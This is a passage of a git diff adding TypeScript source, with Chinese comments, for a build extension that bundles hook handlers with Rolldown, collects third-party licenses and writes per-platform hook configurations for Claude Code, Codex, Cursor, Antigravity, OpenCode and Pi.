+ * + * @param hook 已构建的 Hook。 + * @param platform 当前 Adapter 的 Platform ID。 + * @returns 规范事件或匹配的平台事件返回 true。 + */ +function appliesToPlatform(hook: BundledHook, platform: string): boolean { + /** 平台事件声明的可选目标 Platform。 */ + const eventPlatform = platformForEvent(hook.definition.event); + return eventPlatform === undefined || eventPlatform === platform; +} + +/** + * 合并 Hook 顶层默认值和当前 Platform 的专属覆盖。 + * + * @param hook 已通过 validate 的 Hook。 + * @param platform 当前 Adapter 的 Platform ID。 + * @returns 可直接生成平台 Handler 配置的只读值。 + */ +function resolveOptions(hook: BundledHook, platform: string): ResolvedHookOptions { + /** Hook 定义中当前 Platform 的已验证覆盖对象。 */ + const override = hook.definition.platforms?.[platform] as Readonly> | undefined; + /** matcher 覆盖只在字段明确出现时替换顶层值。 */ + const matcher = typeof override?.matcher === 'string' ? override.matcher : hook.definition.matcher; + /** timeout 覆盖只在字段明确出现时替换顶层值。 */ + const timeout = typeof override?.timeout === 'number' ? override.timeout : hook.definition.timeout; + /** statusMessage 覆盖只在字段明确出现时替换顶层值。 */ + const statusMessage = typeof override?.statusMessage === 'string' + ? override.statusMessage + : hook.definition.statusMessage; + /** additionalContextLimit 只属于 Codex Adapter Schema。 */ + const additionalContextLimit = typeof override?.additionalContextLimit === 'number' + ? override.additionalContextLimit + : undefined; + return Object.freeze({ + ...(matcher === undefined ? {} : { matcher }), + ...(timeout === undefined ? {} : { timeout }), + ...(statusMessage === undefined ? {} : { statusMessage }), + ...(additionalContextLimit === undefined ? {} : { additionalContextLimit }), + }); +} + +/** + * 创建 Claude Code 无 shell exec-form Handler。 + * + * @param hook 当前已构建 Hook。 + * @param options 合并后的 Claude Code 选项。 + * @returns 只运行 Extension 生成 Bundle 的固定命令配置。 + */ +function claudeCodeHandler( + hook: BundledHook, + options: ResolvedHookOptions, +): Readonly> { + return Object.freeze({ + type: 'command', + command: 'node', + args: [`\${CLAUDE_PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs`, CLAUDE_CODE_PLATFORM_ID], + ...(options.timeout === undefined ? {} : { timeout: options.timeout }), + ...(options.statusMessage === undefined ? {} : { statusMessage: options.statusMessage }), + }); +} + +/** + * 创建 Codex 当前公开字符串协议下的固定 Node Handler 命令。 + * + * 作者不能提供命令内容;Hook ID 已通过 kebab-case 校验,因此该模板没有可注入片段。 + * + * @param hook 当前已构建 Hook。 + * @param options 合并后的 Codex 选项。 + * @returns 只运行 Extension 生成 Bundle 的受控命令配置。 + */ +function codexHandler( + hook: BundledHook, + options: ResolvedHookOptions, +): Readonly> { + /** Codex 尚未公开 args 字段,因此使用固定且完整引用 Plugin Root 的命令模板。 */ + const command = `node "\${PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs" ${CODEX_PLATFORM_ID}`; + return Object.freeze({ + type: 'command', + command, + ...(options.timeout === undefined ? {} : { timeout: options.timeout }), + ...(options.statusMessage === undefined ? {} : { statusMessage: options.statusMessage }), + ...(options.additionalContextLimit === undefined + ? {} + : { additionalContextLimit: options.additionalContextLimit }), + }); +} + +/** + * 报告单个 Hook 在 Claude Code 上的实际能力结论。 + * + * @param context 当前 Claude Code Adapter 上下文。 + * @param hook 正在适配的 Hook。 + */ +function reportClaudeCompatibility( + context: PlatformAdapterContext, + hook: BundledHook, + options: ResolvedHookOptions, +): void { + /** 平台配置中实际使用的事件名称。 */ + const name = eventName(hook.definition.event); + context.reportCompatibility({ + subject: `hook:${hook.id}`, + capability: `event.${name}`, + level: 'native', + reason: `Claude Code supports local command handlers for ${name}.`, + }); + if (hasMeaningfulMatcher(options.matcher) && CLAUDE_MATCHER_IGNORED_EVENTS.has(name)) { + context.reportCompatibility({ + subject: `hook:${hook.id}`, + capability: 'matcher', + level: 'degraded', + reason: `Claude Code currently ignores matcher for ${name}.`, + }); + } +} + +/** + * 报告单个 Hook 在 Codex 上的事件能力和按实际字段计算的 matcher 损失。 + * + * @param context 当前 Codex Adapter 上下文。 + * @param hook 正在适配的规范 Hook。 + * @param options 合并后的 Codex 选项。 + */ +function reportCodexCompatibility( + context: PlatformAdapterContext, + hook: BundledHook, + options: ResolvedHookOptions, +): void { + /** 规范 Hook 的平台事件名称。 */ + const name = eventName(hook.definition.event); + context.reportCompatibility({ + subject: `hook:${hook.id}`, + capability: `event.${name}`, + level: 'native', + reason: `Codex supports local command handlers for ${name}.`, + }); + if (hasMeaningfulMatcher(options.matcher) && (name === 'UserPromptSubmit' || name === 'Stop')) { + context.reportCompatibility({ + subject: `hook:${hook.id}`, + capability: 'matcher', + level: 'degraded', + reason: `Codex currently ignores matcher for ${name}.`, + }); + } +} + +/** + * 把平台相关 Hook 组成确定性的 `hooks/hooks.json` 内容。 + * + * @param platform 当前 Adapter Platform ID。 + * @param hooks 已筛选为当前平台适用的 Built Hook。 + * @returns 以事件名分组的官方 Hook 配置。 + */ +function createHooksManifest( + platform: typeof CLAUDE_CODE_PLATFORM_ID | typeof CODEX_PLATFORM_ID, + hooks: readonly BundledHook[], +): Readonly> { + /** 按事件名保存且随后由 stableJson 排序的 Handler 分组。 */ + const groups: Record = {}; + for (const hook of hooks) { + /** 当前 Adapter 解析后的 Hook 平台选项。 */ + const options = resolveOptions(hook, platform); + /** 当前平台使用的受控 Handler 配置。 */ + const handler = platform === CLAUDE_CODE_PLATFORM_ID + ? claudeCodeHandler(hook, options) + : codexHandler(hook, options); + /** 单 Handler matcher 分组,不依赖平台隐式数组合并。 */ + const group: HookGroup = Object.freeze({ + ...(options.matcher === undefined ? {} : { matcher: options.matcher }), + hooks: Object.freeze([handler]), + }); + /** 当前 Hook 的规范或平台原生事件名。 */ + const name = eventName(hook.definition.event); + (groups[name] ??= []).push(group); + } + return Object.freeze({ hooks: groups as unknown as JsonValue }); +} + +/** + * 向当前 Platform Draft 贡献 Handler、许可文件、Hook 清单和 Manifest 引用。 + * + * @param context Core 提供的受限 Adapter API。 + * @param built Extension build 阶段产生的平台中立状态。 + * @param platform 当前官方 Adapter 的 Platform ID。 + */ +async function applyAdapter( + context: PlatformAdapterContext, + built: Readonly, + platform: typeof CLAUDE_CODE_PLATFORM_ID | typeof CODEX_PLATFORM_ID, +): Promise { + /** 只保留规范事件和明确限定到当前 Platform 的事件。 */ + const hooks = built.hooks.filter(hook => appliesToPlatform(hook, platform)); + if (hooks.length === 0) + return; + /** Platform 必须提供约定的 Plugin Manifest Document 才能安全建立引用。 */ + const manifest = context.getDocument(PLUGIN_MANIFEST_ID); + if (manifest === undefined) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_DOCUMENT_MISSING', + severity: 'error', + message: `Platform "${platform}" does not expose the required Plugin Manifest document.`, + }); + return; + } + for (const hook of hooks) { + context.emitArtifact({ + path: `hooks/${hook.id}/handler.mjs`, + source: { type: 'file', path: hook.handler }, + mode: 0o755, + }); + context.emitArtifact(bytesArtifact( + `hooks/${hook.id}/wire.mjs`, + createWireSource(platform), + 0o644, + )); + if (hook.licenses !== undefined) { + context.emitArtifact({ + path: `hooks/${hook.id}/THIRD_PARTY_LICENSES.txt`, + source: { type: 'file', path: hook.licenses }, + mode: 0o644, + }); + } + /** 当前 Platform 合并后的选项只用于精确兼容性计算。 */ + const options = resolveOptions(hook, platform); + if (platform === CLAUDE_CODE_PLATFORM_ID) + reportClaudeCompatibility(context, hook, options); + else + reportCodexCompatibility(context, hook, options); + } + context.emitArtifact(bytesArtifact(HOOKS_MANIFEST_PATH, stableJson(createHooksManifest(platform, hooks)))); + context.patchDocument({ + document: PLUGIN_MANIFEST_ID, + path: ['hooks'], + value: `./${HOOKS_MANIFEST_PATH}`, + }); + void manifest; +} + +/** + * 读取非默认 Platform 的固定事件支持结论。 + * + * @param platform 当前 Adapter Platform ID。 + * @param event 规范 Hook 事件名。 + * @returns 当前 Platform 的支持等级、原生事件和原因。 + */ +function supportFor( + platform: typeof CURSOR_PLATFORM_ID + | typeof ANTIGRAVITY_PLATFORM_ID + | typeof OPENCODE_PLATFORM_ID + | typeof PI_PLATFORM_ID, + event: string, +): HookEventSupport { + /** 当前 Platform 对应的固定能力矩阵。 */ + const matrix = platform === CURSOR_PLATFORM_ID + ? CURSOR_EVENTS + : platform === ANTIGRAVITY_PLATFORM_ID + ? ANTIGRAVITY_EVENTS + : platform === OPENCODE_PLATFORM_ID + ? OPENCODE_EVENTS + : PI_EVENTS; + return matrix[event] ?? { + supported: false, + level: 'unsupported', + reason: `${platform} does not recognize Hook event ${event}.`, + }; +} + +/** + * 报告非默认 Platform 的事件、matcher 和展示字段兼容性。 + * + * @param context 当前 Platform Adapter 上下文。 + * @param hook 正在适配的 Hook。 + * @param platform 当前 Adapter Platform ID。 + * @param support 当前事件固定支持结论。 + */ +function reportPortableCompatibility( + context: PlatformAdapterContext, + hook: BundledHook, + platform: typeof CURSOR_PLATFORM_ID + | typeof ANTIGRAVITY_PLATFORM_ID + | typeof OPENCODE_PLATFORM_ID + | typeof PI_PLATFORM_ID, + support: HookEventSupport, +): void { + /** 规范 Hook 的事件名。 */ + const event = eventName(hook.definition.event); + context.reportCompatibility({ + subject: `hook:${hook.id}`, + capability: `event.${event}`, + level: support.level, + ...(support.nativeEvent === undefined ? {} : { transformation: support.nativeEvent }), + reason: support.reason, + }); + if (!support.supported) + return; + /** 当前 Platform 合并后的执行选项。 */ + const options = resolveOptions(hook, platform); + if (hasMeaningfulMatcher(options.matcher) + && event !== 'PreToolUse' + && event !== 'PostToolUse' + && event !== 'PermissionRequest') { + context.reportCompatibility({ + subject: `hook:${hook.id}`, + capability: 'matcher', + level: 'degraded', + reason: `${platform} cannot preserve this matcher outside a tool event.`, + }); + } + if (options.statusMessage !== undefined) { + context.reportCompatibility({ + subject: `hook:${hook.id}`, + capability: 'statusMessage', + level: 'degraded', + reason: `${platform} has no stable Hook status message field in the selected adapter protocol.`, + }); + } +} + +/** + * 向当前 Platform 贡献一个已支持 Hook 的 Handler、wire 和第三方许可。 + * + * @param context Core 提供的受限 Adapter API。 + * @param hook 当前已构建 Hook。 + * @param platform 当前 Adapter Platform ID。 + * @param root Handler 在交付单元中的固定根目录。 + */ +function emitHookRuntime( + context: PlatformAdapterContext, + hook: BundledHook, + platform: typeof CURSOR_PLATFORM_ID + | typeof ANTIGRAVITY_PLATFORM_ID + | typeof OPENCODE_PLATFORM_ID + | typeof PI_PLATFORM_ID, + root: string, +): void { + context.emitArtifact({ + path: `${root}/${hook.id}/handler.mjs`, + source: { type: 'file', path: hook.handler }, + mode: 0o755, + }); + context.emitArtifact(bytesArtifact( + `${root}/${hook.id}/wire.mjs`, + createWireSource(platform), + 0o644, + )); + if (hook.licenses !== undefined) { + context.emitArtifact({ + path: `${root}/${hook.id}/THIRD_PARTY_LICENSES.txt`, + source: { type: 'file', path: hook.licenses }, + mode: 0o644, + }); + } +} + +/** + * 应用 Cursor 静态 Plugin Hooks Adapter。 + * + * @param context Core 提供的受限 Adapter API。 + * @param built Hooks Extension 的平台中立 Built State。 + */ +async function applyCursorAdapter( + context: PlatformAdapterContext, + built: Readonly, +): Promise { + /** Cursor Platform 必须开放 Plugin Manifest 的 hooks 扩展点。 */ + if (context.getDocument(PLUGIN_MANIFEST_ID) === undefined) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_DOCUMENT_MISSING', severity: 'error', + message: 'Cursor Platform does not expose the required Plugin Manifest document.', + }); + return; + } + /** Cursor 原生事件名到固定 command Handler 列表。 */ + const groups: Record>[]> = {}; + for (const hook of built.hooks.filter(candidate => appliesToPlatform(candidate, CURSOR_PLATFORM_ID))) { + /** 当前规范事件的固定 Cursor 支持结论。 */ + const support = supportFor(CURSOR_PLATFORM_ID, eventName(hook.definition.event)); + reportPortableCompatibility(context, hook, CURSOR_PLATFORM_ID, support); + if (!support.supported || support.nativeEvent === undefined) + continue; + emitHookRuntime(context, hook, CURSOR_PLATFORM_ID, 'hooks'); + /** Cursor Hook 进程从官方 Plugin 根环境变量解析安装后 Handler。 */ + const command = `node "\${CURSOR_PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs" cursor`; + (groups[support.nativeEvent] ??= []).push(Object.freeze({ command })); + } + if (Object.keys(groups).length === 0) + return; + /** Cursor Plugin Hooks 使用 version 1 的事件到命令数组结构。 */ + context.emitArtifact(bytesArtifact('hooks/hooks.json', stableJson({ version: 1, hooks: groups }))); + context.patchDocument({ document: PLUGIN_MANIFEST_ID, path: ['hooks'], value: './hooks/hooks.json' }); +} + +/** + * 应用 Antigravity 根 hooks.json Adapter。 + * + * @param context Core 提供的受限 Adapter API。 + * @param built Hooks Extension 的平台中立 Built State。 + */ +async function applyAntigravityAdapter( + context: PlatformAdapterContext, + built: Readonly, +): Promise { + /** Antigravity 原生事件名到 matcher 分组。 */ + const groups: Record = {}; + for (const hook of built.hooks.filter(candidate => appliesToPlatform(candidate, ANTIGRAVITY_PLATFORM_ID))) { + /** 当前规范事件的固定 Antigravity 支持结论。 */ + const support = supportFor(ANTIGRAVITY_PLATFORM_ID, eventName(hook.definition.event)); + reportPortableCompatibility(context, hook, ANTIGRAVITY_PLATFORM_ID, support); + if (!support.supported || support.nativeEvent === undefined) + continue; + emitHookRuntime(context, hook, ANTIGRAVITY_PLATFORM_ID, 'hooks'); + /** 当前 Platform 合并后的 matcher 配置。 */ + const options = resolveOptions(hook, ANTIGRAVITY_PLATFORM_ID); + /** 安装后 Handler 只通过固定 Plugin 根变量运行。 */ + const handler = Object.freeze({ + type: 'command', + command: `node "\${ANTIGRAVITY_PLUGIN_ROOT}/hooks/${hook.id}/handler.mjs" antigravity`, + }); + (groups[support.nativeEvent] ??= []).push(Object.freeze({ + ...(options.matcher === undefined ? {} : { matcher: options.matcher }), + hooks: Object.freeze([handler]), + })); + } + if (Object.keys(groups).length > 0) + context.emitArtifact(bytesArtifact('hooks.json', stableJson({ hooks: groups }))); +} + +/** + * 应用 OpenCode runtime Plugin Adapter。 + * + * @param context Core 提供的受限 Adapter API。 + * @param built Hooks Extension 的平台中立 Built State。 + */ +async function applyOpenCodeAdapter( + context: PlatformAdapterContext, + built: Readonly, +): Promise { + /** 实际进入 runtime Plugin 的已支持 Hook。 */ + const supported: BundledHook[] = []; + for (const hook of built.hooks.filter(candidate => appliesToPlatform(candidate, OPENCODE_PLATFORM_ID))) { + /** 当前规范事件的固定 OpenCode 支持结论。 */ + const support = supportFor(OPENCODE_PLATFORM_ID, eventName(hook.definition.event)); + reportPortableCompatibility(context, hook, OPENCODE_PLATFORM_ID, support); + if (support.supported) + supported.push(hook); + } + if (supported.length === 0) + return; + /** Runtime Plugin 读取的无函数静态 Hook 描述。 */ + const descriptors = supported.map((hook) => { + /** 当前 Platform 合并后的 matcher 与 timeout。 */ + const options = resolveOptions(hook, OPENCODE_PLATFORM_ID); + emitHookRuntime(context, hook, OPENCODE_PLATFORM_ID, '.opencode/acplugin-hooks'); + return runtimeHookDescriptor(hook, options.matcher, options.timeout); + }); + context.emitArtifact(bytesArtifact( + '.opencode/plugins/acplugin-hooks.mjs', + createOpenCodePluginSource(descriptors), + )); +} + +/** + * 应用 Pi npm package Extension Adapter。 + * + * @param context Core 提供的受限 Adapter API。 + * @param built Hooks Extension 的平台中立 Built State。 + */ +async function applyPiAdapter( + context: PlatformAdapterContext, + built: Readonly, +): Promise { + /** Pi Platform 必须开放 package.json.pi.extensions 扩展点。 */ + if (context.getDocument('package-manifest') === undefined) { + context.reportDiagnostic({ + code: 'HOOK_PLATFORM_DOCUMENT_MISSING', severity: 'error', + message: 'Pi Platform does not expose the required package manifest document.', + }); + return; + } + /** 实际进入 Pi Extension 的已支持 Hook。 */ + const supported: BundledHook[] = []; + for (const hook of built.hooks.filter(candidate => appliesToPlatform(candidate, PI_PLATFORM_ID))) { + /** 当前规范事件的固定 Pi 支持结论。 */ + const support = supportFor(PI_PLATFORM_ID, eventName(hook.definition.event)); + reportPortableCompatibility(context, hook, PI_PLATFORM_ID, support); + if (support.supported) + supported.push(hook); + } + if (supported.length === 0) + return; + /** Pi Extension 读取的无函数静态 Hook 描述。 */ + const descriptors = supported.map((hook) => { + /** 当前 Platform 合并后的 matcher 与 timeout。 */ + const options = resolveOptions(hook, PI_PLATFORM_ID); + emitHookRuntime(context, hook, PI_PLATFORM_ID, 'extensions/acplugin-hooks'); + return runtimeHookDescriptor(hook, options.matcher, options.timeout); + }); + context.emitArtifact(bytesArtifact('extensions/acplugin-hooks.mjs', createPiExtensionSource(descriptors))); + context.patchDocument({ + document: 'package-manifest', + path: ['pi', 'extensions'], + value: ['./extensions/acplugin-hooks.mjs'], + }); +} + +/** + * 创建 Hooks Extension 内置的六个平台 Adapter。 + * + * @returns 只通过 Core 受限 API 写入平台 Draft 的固定 Adapter 列表。 + */ +export function createHooksAdapters(): readonly ExtensionPlatformAdapter[] { + /** Claude Code 官方 Adapter。 */ + const claudeCode: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: CLAUDE_CODE_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 把平台中立状态落为 Claude Code exec-form Hook 配置。 */ + apply: (context: PlatformAdapterContext, built: Readonly) => applyAdapter( + context, + built, + CLAUDE_CODE_PLATFORM_ID, + ), + }); + /** Codex 官方 Adapter。 */ + const codex: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: CODEX_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 把平台中立状态落为 Codex 当前字符串命令 Hook 配置。 */ + apply: (context: PlatformAdapterContext, built: Readonly) => applyAdapter( + context, + built, + CODEX_PLATFORM_ID, + ), + }); + /** Cursor 官方 Adapter。 */ + const cursor: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: CURSOR_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 把平台中立状态落为 Cursor version 1 command Hooks。 */ + apply: applyCursorAdapter, + }); + /** Antigravity 官方 Adapter。 */ + const antigravity: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: ANTIGRAVITY_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 把平台中立状态落为 Antigravity 根 hooks.json。 */ + apply: applyAntigravityAdapter, + }); + /** OpenCode 官方 Adapter。 */ + const openCode: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: OPENCODE_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 把平台中立状态落为 workspace runtime Plugin。 */ + apply: applyOpenCodeAdapter, + }); + /** Pi 官方 Adapter。 */ + const pi: ExtensionPlatformAdapter = Object.freeze({ + extensionApiVersion: '1', + platform: PI_PLATFORM_ID as PlatformId, + platformApiVersion: '1', + /** 把平台中立状态落为 npm package Extension。 */ + apply: applyPiAdapter, + }); + return Object.freeze([claudeCode, codex, cursor, antigravity, openCode, pi]); +} diff --git a/packages/extensions/hooks/src/bundler.ts b/packages/extensions/hooks/src/bundler.ts new file mode 100644 index 0000000..62d9b4c --- /dev/null +++ b/packages/extensions/hooks/src/bundler.ts @@ -0,0 +1,253 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { build as rolldownBuild, type OutputChunk, type Plugin } from 'rolldown'; +import type { ExtensionBuildContext } from '@tokenroll/acplugin'; +import { EXTENSION_NAME } from './constants.js'; +import type { DiscoveredHook, DiscoveredHooks } from './discovery.js'; +import { createRunnerSource } from './runtime-source.js'; + +/** 单个 Hook 构建完成的可执行 Handler 与可选第三方许可材料。 */ +export interface BundledHook { + /** Hook 的稳定作者 ID。 */ + readonly id: string; + /** Adapter 生成平台配置时读取的已验证定义。 */ + readonly definition: DiscoveredHook['definition']; + /** Rolldown 生成的独立 Node 20 ESM Handler 路径。 */ + readonly handler: string; + /** Bundle 包含第三方依赖时生成的合并许可文件路径。 */ + readonly licenses?: string; +} + +/** build 阶段交给所有 Platform Adapter 的平台中立状态。 */ +export interface BuiltHooks { + /** 按 Hook ID 稳定排序且每项只 Bundle 一次的 Handler。 */ + readonly hooks: readonly BundledHook[]; +} + +/** Bundle 中一个第三方 npm 包的许可元数据与原始法律文本。 */ +interface PackageLicense { + /** npm 包名。 */ + readonly name: string; + /** npm 包版本。 */ + readonly version: string; + /** package.json 声明的 SPDX 表达式或 UNKNOWN。 */ + readonly license: string; + /** 包根目录中发现的 LICENSE 或 NOTICE 文件。 */ + readonly notices: readonly { readonly name: string; readonly text: string }[]; +} + +/** Handler Bundle 内替换作者辅助 API 的私有虚拟模块 ID。 */ +const AUTHOR_API_MODULE_ID = '\0acplugin-hook-author-api'; + +/** + * 创建只保留 defineHook 运行时恒等语义的 Rolldown 虚拟模块。 + * + * Hook 作者从 Extension 根入口导入 defineHook,但最终 Handler 不应携带构建器、 + * Rolldown 或 acplugin Core;品牌只服务 discover,Bundle 内定义已经通过验证。 + * + * @returns 在解析作者 API 时替换为最小恒等函数的构建插件。 + */ +function authorApiPlugin(): Plugin { + return { + name: 'acplugin-hook-author-api', + /** 只接管规范 Extension 根入口,不改写用户的其他依赖。 */ + resolveId(source) { + return source === EXTENSION_NAME ? AUTHOR_API_MODULE_ID : null; + }, + /** 为虚拟入口提供无构建期依赖的 defineHook 实现。 */ + load(id) { + if (id !== AUTHOR_API_MODULE_ID) + return null; + return 'export function defineHook(definition) { return definition; }'; + }, + }; +} + +/** + * 从 Rolldown Module ID 向上查找所属 npm 包及其许可文件。 + * + * @param moduleId Bundle 图中的原始 Module ID。 + * @returns 第三方 node_modules 文件对应的许可记录;工程源码返回 undefined。 + * @throws 第三方包缺少元数据或法律文本时阻止生成不完整 Bundle。 + */ +async function packageLicenseForModule(moduleId: string): Promise { + /** 移除 Rolldown 查询参数和虚拟模块前缀后的文件路径。 */ + const normalized = moduleId.replace(/\?.*$/u, '').replace(/^\0/u, ''); + if (!normalized.includes(`${path.sep}node_modules${path.sep}`)) + return undefined; + /** 从模块文件开始向上查找 package.json 的当前目录。 */ + let directory = path.dirname(normalized); + /** 终止向上遍历的文件系统根目录。 */ + const root = path.parse(directory).root; + while (directory !== root) { + try { + /** 当前候选目录中的包清单。 */ + const manifest = JSON.parse(await fs.readFile(path.join(directory, 'package.json'), 'utf8')) as { + readonly name?: unknown; + readonly version?: unknown; + readonly license?: unknown; + }; + if (typeof manifest.name === 'string' && typeof manifest.version === 'string') { + /** 包根目录的一级文件,用于发现法律文本。 */ + const entries = await fs.readdir(directory, { withFileTypes: true }); + /** 按稳定顺序保留的 LICENSE 与 NOTICE 文件名。 */ + const noticeFiles = entries + .filter(entry => entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/iu.test(entry.name)) + .map(entry => entry.name) + .sort((left, right) => left.localeCompare(right, 'en')); + if (noticeFiles.length === 0) + throw new Error(`Bundled dependency ${manifest.name}@${manifest.version} has no license or notice file.`); + return { + name: manifest.name, + version: manifest.version, + license: typeof manifest.license === 'string' ? manifest.license : 'UNKNOWN', + notices: await Promise.all(noticeFiles.map(async (name) => { + /** 当前第三方法律文件的完整文本。 */ + const text = (await fs.readFile(path.join(directory, name), 'utf8')).trimEnd(); + return Object.freeze({ name, text }); + })), + }; + } + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') + throw error; + } + directory = path.dirname(directory); + } + throw new Error(`Cannot resolve package metadata for bundled module ${path.basename(normalized)}.`); +} + +/** + * 汇总 Bundle 实际包含的第三方包许可,并写入稳定文本文件。 + * + * @param chunk 唯一的 Rolldown 输出 Chunk。 + * @param directory Handler Bundle 所在目录。 + * @returns 存在第三方依赖时返回许可文件路径,否则返回 undefined。 + */ +async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): Promise { + /** 按包名和版本去重的许可记录。 */ + const records = new Map(); + /** moduleId 表示当前 Bundle Module,用于追溯第三方许可。 */ + for (const moduleId of Object.keys(chunk.modules).sort((left, right) => left.localeCompare(right, 'en'))) { + /** 当前 Bundle Module 所属的可选第三方包许可。 */ + const record = await packageLicenseForModule(moduleId); + if (record !== undefined) + records.set(`${record.name}@${record.version}`, record); + } + if (records.size === 0) + return undefined; + /** 按确定顺序拼接的许可文件段落。 */ + const sections = ['THIRD-PARTY LICENSES']; + for (const [id, record] of [...records].sort(([left], [right]) => left.localeCompare(right, 'en'))) { + sections.push(`## ${id}\nSPDX: ${record.license}`); + /** notice 表示当前包的一个 LICENSE 或 NOTICE 文件。 */ + for (const notice of record.notices) + sections.push(`### ${notice.name}\n${notice.text}`); + } + /** 与 Handler 一同发布的第三方许可文件路径。 */ + const destination = path.join(directory, 'THIRD_PARTY_LICENSES.txt'); + await fs.writeFile(destination, `${sections.join('\n\n')}\n`); + return destination; +} + +/** + * 判断 Bundle 模块图是否包含 Node 原生扩展。 + * + * @param moduleId Rolldown 输出记录的 Module ID。 + * @returns 文件扩展名是 `.node` 时返回 true。 + */ +function isNativeAddon(moduleId: string): boolean { + /** 去掉查询参数后的真实模块路径。 */ + const normalized = moduleId.replace(/\?.*$/u, ''); + return path.extname(normalized) === '.node'; +} + +/** + * 把 Rolldown 实际解析的作者模块图登记给 Core,排除 Extension 自己生成的临时入口。 + * + * @param context 当前 Extension build 上下文。 + * @param moduleIds 输出 Chunk 中的全部模块 ID。 + */ +function registerBundleWatchFiles(context: ExtensionBuildContext, moduleIds: readonly string[]): void { + for (const moduleId of moduleIds) { + /** 查询参数不属于文件名,虚拟模块与相对 ID 也不能交给文件监听器。 */ + const file = moduleId.replace(/\?.*$/u, ''); + if (!path.isAbsolute(file)) + continue; + /** runner.mjs 位于每轮都会删除的 workDir,监听它会制造无效重建。 */ + const relative = path.relative(context.workDir, file); + if (relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative))) + continue; + context.addWatchFile(file); + } +} + +/** + * 把单个用户 Hook 与框架运行器构建为独立、平台中立的 ESM Handler。 + * + * @param hook 待构建的 Hook 描述。 + * @param workDir Extension 在本次构建中的隔离工作目录。 + * @returns Adapter 可以直接贡献的 Handler 与可选许可文件。 + */ +async function bundleHook(hook: DiscoveredHook, context: ExtensionBuildContext): Promise { + /** 当前 Hook 独占的 Bundle 工作目录。 */ + const directory = path.join(context.workDir, hook.id); + await fs.mkdir(directory, { recursive: true }); + /** 动态生成且导入用户 hook.ts 的 Rolldown 入口。 */ + const runner = path.join(directory, 'runner.mjs'); + await fs.writeFile(runner, createRunnerSource(hook, directory)); + /** 保留 Node 内置模块为 external 的内存构建结果。 */ + const output = await rolldownBuild({ + input: runner, + platform: 'node', + transform: { target: 'node20' }, + plugins: [authorApiPlugin()], + external: [/^node:/u], + write: false, + output: { + format: 'esm', + sourcemap: false, + codeSplitting: false, + comments: { legal: true }, + }, + }); + /** 构建产生的 JavaScript Chunk;协议要求严格只有一个。 */ + const chunks = output.output.filter((item): item is OutputChunk => item.type === 'chunk'); + if (chunks.length !== 1 || output.output.some(item => item.type === 'asset')) + throw new Error(`Hook "${hook.id}" must bundle to one JavaScript chunk and no assets.`); + /** 唯一输出 Chunk,用于原生依赖检查、写入和许可收集。 */ + const chunk = chunks[0]!; + if (Object.keys(chunk.modules).some(isNativeAddon)) + throw new Error(`Hook "${hook.id}" includes an unsupported native addon.`); + // dev 必须跟随 Rolldown 的真实解析结果,而不是只监听 hook.ts 描述入口。 + registerBundleWatchFiles(context, Object.keys(chunk.modules)); + /** 最终贡献给 Plugin 的独立 ESM Handler。 */ + const handler = path.join(directory, 'handler.mjs'); + await fs.writeFile(handler, chunk.code); + /** Bundle 包含第三方依赖时生成的许可汇总。 */ + const licenses = await writeThirdPartyLicenses(chunk, directory); + return Object.freeze({ + id: hook.id, + definition: hook.definition, + handler, + ...(licenses === undefined ? {} : { licenses }), + }); +} + +/** + * 为全部已验证 Hook 各生成一次平台中立 Handler。 + * + * @param context Core 提供的 Extension 隔离工作目录。 + * @param discovered 已通过 validate 阶段的 Hooks 状态。 + * @returns 可由多个 Platform Adapter 复用的稳定 Built State。 + */ +export async function buildHooks( + context: ExtensionBuildContext, + discovered: Readonly, +): Promise { + /** 按发现顺序构建的 Handler 列表。 */ + const hooks: BundledHook[] = []; + for (const hook of discovered.hooks) + hooks.push(await bundleHook(hook, context)); + return Object.freeze({ hooks: Object.freeze(hooks) }); +} diff --git a/packages/extensions/hooks/src/constants.ts b/packages/extensions/hooks/src/constants.ts new file mode 100644 index 0000000..dfb7731 --- /dev/null +++ b/packages/extensions/hooks/src/constants.ts @@ -0,0 +1,35 @@ +/** Hooks Extension 的稳定包名、配置名和诊断身份。 */ +export const EXTENSION_NAME = '@tokenroll/acplugin-extension-hooks'; + +/** Claude Code 官方 Platform 的稳定 ID。 */ +export const CLAUDE_CODE_PLATFORM_ID = 'claude-code'; + +/** Codex 官方 Platform 的稳定 ID。 */ +export const CODEX_PLATFORM_ID = 'codex'; + +/** Cursor 官方 Platform 的稳定 ID。 */ +export const CURSOR_PLATFORM_ID = 'cursor'; + +/** Antigravity 官方 Platform 的稳定 ID。 */ +export const ANTIGRAVITY_PLATFORM_ID = 'antigravity'; + +/** OpenCode 官方 Platform 的稳定 ID。 */ +export const OPENCODE_PLATFORM_ID = 'opencode'; + +/** Pi 官方 Platform 的稳定 ID。 */ +export const PI_PLATFORM_ID = 'pi'; + +/** Claude Code 与 Codex Platform 共同公开的 Plugin Manifest 逻辑 ID。 */ +export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; + +/** Hooks Adapter 写入的固定平台清单相对路径。 */ +export const HOOKS_MANIFEST_PATH = 'hooks/hooks.json'; + +/** Hook 一级目录接受的小写 kebab-case 格式。 */ +export const HOOK_ID_PATTERN: RegExp = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** Platform ID 接受的小写 kebab-case 格式。 */ +export const PLATFORM_ID_PATTERN: RegExp = 